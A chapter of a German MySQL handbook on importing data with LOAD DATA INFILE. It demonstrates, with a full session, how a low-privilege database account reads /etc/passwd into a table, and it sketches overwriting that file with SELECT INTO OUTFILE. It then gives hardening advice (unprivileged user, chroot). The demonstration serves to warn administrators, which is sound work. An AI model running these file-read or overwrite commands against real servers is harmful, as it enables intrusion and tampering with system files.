Weiter Zurück [Inhalt] Online Suche im Handbuch

6.10 Import von Datensätzen in MySQL

Im Kapitel Export von Datensätzen wurden bereits zum Test die Datensätze eingelesen. Bitte schauen Sie bezüglich der Syntax dort oder im Unterkapitel LOAD DATA INFILE nach.

Das Beispiel in dem vorangegangenen Kapitel erlaubte es uns, aus dem Standardverzeichnis von MySQL Daten einzulesen. Netterweise kann man aber auch folgendes Konstrukt angeben. Hierzu kopieren Sie bitte die Datei datenexport.txt aus dem Standard Verzeichnis in Ihr Homeverzeichnis (bitte anpassen !):

user01@tunix:~ > cp /var/mysql/test/datenexport.txt .
Sie löschen nun die Inhalte der Tabelle testtabelle und importieren die Daten:
mysql> delete from testtabelle;                                               
Query OK, 0 rows affected (0.00 sec)

mysql> load data infile "/home/user01/datenexport.txt" into table testtabelle;
Query OK, 3 rows affected (0.01 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from testtabelle;         
+---------+------------------------------------+
| spalte1 | spalte2                            |
+---------+------------------------------------+
|       5 | test                               |
|       5 | testwert                           |
|   34567 | kannix und istnix weissnix habenix |
+---------+------------------------------------+
3 rows in set (0.00 sec)

mysql> 
Ahnen Sie etwas ? Offensichtlich kann man auch absolute Pfade angeben, um Daten aus Nachbarverzeichnissen oder aus geschützten Bereichen in die Datenbank zuladen oder zu speichern !

Probieren wir es aus:

user01@tunix:~ > mysql -h 10.0.0.5 -u testuser -ptestpasswort test

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 17 to server version: 3.21.33b

Type 'help' for help.

mysql> create table passwd (text char(100));
Query OK, 0 rows affected (0.00 sec)

mysql> load data infile "/etc/passwd" into table passwd;     
Query OK, 31 rows affected (0.01 sec)
Records: 31  Deleted: 0  Skipped: 0  Warnings: 0

mysql> select * from passwd;
+-------------------------------------------------------------------------+
| text                                                                    |
+-------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash                                         |
| bin:x:1:1:bin:/bin:/bin/bash                                            |
| daemon:x:2:2:daemon:/sbin:/bin/bash                                     |
| lp:x:4:7:lp daemon:/var/spool/lpd:/bin/bash                             |
| news:x:9:13:News system:/etc/news:/bin/bash                             |
| uucp:x:10:14::/var/lib/uucp/taylor_config:/bin/bash                     |
.....
| nobody:x:65534:65534:nobody:/tmp:/bin/bash                              |
| user01:x:500:100::/platte2/home/user01:/bin/bash                        |
| user02:x:501:100::/home/user02:/bin/bash                                |
| user03:x:502:100::/home/user03:/bin/bash                                |
+-------------------------------------------------------------------------+
31 rows in set (0.00 sec)

mysql> 
Man kann offensichtlich in einem S.u.S.E. LINUX System mit einem MySQL Server beliebig Daten aus anderen Verzeichnissen in die MySQL Datenbank einlesen und sich quer über das Internet irgendwohin übertragen lassen. Ein Useraccount mit beschränkten Rechten an irgendeiner Tabelle reicht da völlig aus. Sie sehen, daß da auch eine Firewall nicht mehr helfen kann.

Das Statement:

insert .....  
select * from passwd into outfile "/etc/passwd";
Query OK, 32 rows affected (0.03 sec)
spare ich mir nun...

Damit ein solcher Einbruch also nicht möglich ist, sollten Sie MySQL nur mit User-Rechten starten, und den MySQL Serverdämon in eine CHROOT() Umgebung verbannen. Wie Sie das tun, finden Sie hier: http://www.little-idiot.de/firewall.

Ich kann Ihnen aber versichern, daß man LINUX und auch MySQL sicher so installieren kann, daß diese einfachen Tricks nicht mehr funktionieren. Falls Sie also eine gesicherte Datenbank im Internet betreiben wollen, wenden Sie sich an http://www.rent-a-database.de.


Weiter Zurück [Inhalt] Online Suche im Handbuch